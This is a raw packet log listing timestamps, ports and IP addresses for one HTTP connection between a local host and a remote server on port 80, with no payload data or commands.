Nov 5, 2024 12:43:36.789057016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789071083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789161921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789172888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789182901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789196014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789200068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789206982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789211035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789221048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789242029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789273977 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789288044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789347887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789361000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789372921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789381981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789391994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789397955 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789402008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789416075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789448023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789530993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789541960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789563894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789591074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789621115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789632082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789644003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789661884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789674997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789679050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789714098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789776087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789787054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789797068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789802074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789813042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789813042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789824963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789834023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789836884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789865971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789889097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789942980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789953947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789963961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789985895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.790014982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.834471941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.834487915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.834501982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.834518909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.834563971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.834927082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.834966898 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.870496988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.870531082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.870542049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.870599985 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.870632887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.870861053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.870901108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.870910883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.870923042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.870942116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.870955944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871012926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871026993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871038914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871053934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871066093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871078968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871128082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871140957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871151924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871164083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871176958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871196032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871257067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871268988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871279001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871294022 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871315956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871361017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871373892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871387959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871397972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871424913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871509075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871520996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871531963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871541023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871543884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871557951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871567965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871570110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871592999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871609926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871699095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871711016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871722937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871733904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871757984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871773958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871826887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871839046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871850014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871860027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871865034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871882915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871905088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.871967077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871979952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.871992111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872001886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872016907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872026920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872030020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872039080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872047901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872051954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872062922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872080088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872107029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872236013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872247934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872258902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872281075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872293949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872366905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872376919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872386932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872399092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872401953 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872411013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872426033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872448921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872544050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872556925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872569084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872580051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872581959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872592926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872606039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872606039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872631073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872646093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872777939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872788906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872802019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872813940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872824907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872828960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872848034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872860909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872908115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872947931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.872960091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872972965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872986078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.872996092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873014927 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873027086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873131990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873143911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873155117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873167992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873173952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873188972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873192072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873203039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873203039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873224020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873239040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873269081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873305082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873406887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873418093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873429060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873439074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873445034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873450994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873455048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873464108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873476028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873483896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873487949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873500109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873502016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873524904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873548031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873827934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873840094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873851061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873862028 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873863935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873877048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873878002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873891115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873900890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873902082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.873936892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.873936892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874144077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874154091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874164104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874180079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874181032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874192953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874197006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874205112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874217033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874228001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874231100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874239922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874239922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874254942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874265909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874267101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874293089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874305010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874492884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874505043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874515057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874526024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874530077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874540091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874551058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874576092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874609947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874625921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874634981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874648094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874648094 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874660969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874671936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874672890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874684095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874695063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874700069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874707937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874716043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874722004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.874727011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.874758005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.899956942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.899991989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.899998903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.900007963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.900013924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.900019884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.900058985 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.900113106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.903723955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.903757095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.903793097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.903806925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.903825045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.903848886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.903867006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.903878927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.903904915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.903923035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.903990984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904006004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904019117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904028893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904040098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904057980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904100895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904113054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904124022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904138088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904150009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904160976 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904211998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904225111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904237986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904254913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904256105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904273987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904326916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904339075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904349089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904361010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904361010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904372931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904376984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904396057 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904422998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904463053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904498100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904529095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904541969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904553890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904562950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904566050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904577971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904581070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904598951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904618979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904681921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904692888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904705048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904716015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904716969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904731989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904753923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904802084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904813051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904823065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904836893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904859066 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904927015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904937983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904949903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.904961109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.904980898 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905025959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905061007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905107975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905121088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905133009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905143976 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905144930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905154943 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905170918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905215025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905226946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905227900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905246019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905258894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905385017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905396938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905407906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905421972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905422926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905432940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905435085 CET	80	49711	188.114.96.3	192.168.2.8
